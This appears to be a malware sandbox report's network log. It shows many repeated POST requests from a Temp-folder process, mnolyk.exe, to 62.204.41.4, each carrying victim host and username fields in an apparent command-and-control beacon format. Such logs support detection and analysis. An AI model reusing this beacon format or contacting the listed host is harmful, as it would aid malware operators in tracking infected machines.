Feb 6, 2023 14:17:18.884453058 CET	316	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:18.946724892 CET	317	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.5	49806	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:19.119476080 CET	317	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:19.188005924 CET	318	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.5	49807	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:19.395600080 CET	318	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:19.461359978 CET	319	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.5	49808	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:19.636620998 CET	319	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:19.700081110 CET	320	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.5	49809	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:19.879292965 CET	320	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:19.942990065 CET	321	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49702	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:31.544826984 CET	212	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:31.609515905 CET	213	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.5	49810	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:20.127758026 CET	321	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:20.195579052 CET	322	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.5	49811	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:20.370368958 CET	322	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:20.433793068 CET	323	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.5	49812	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:20.620291948 CET	323	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:20.683015108 CET	324	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.5	49813	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:20.872292042 CET	324	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:20.936855078 CET	325	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.5	49814	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:21.151913881 CET	325	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:21.216082096 CET	326	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.5	49815	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:21.391572952 CET	326	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:21.455930948 CET	327	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.5	49816	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:21.645116091 CET	327	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:21.707312107 CET	328	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.5	49817	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:21.886399984 CET	328	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:21.951565027 CET	329	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.5	49818	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:22.140346050 CET	329	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:22.207415104 CET	330	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.5	49819	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:22.395200968 CET	330	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:22.459952116 CET	331	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49703	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:31.801911116 CET	213	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:31.868216991 CET	214	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.5	49820	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:22.659075975 CET	331	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:22.724231958 CET	332	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.5	49821	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:22.892786026 CET	332	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:22.957637072 CET	333	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.5	49822	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:23.172086954 CET	333	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:23.237900972 CET	334	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.5	49823	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:23.433454037 CET	334	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:23.496156931 CET	335	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.5	49824	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:23.678412914 CET	335	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:23.740700006 CET	336	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
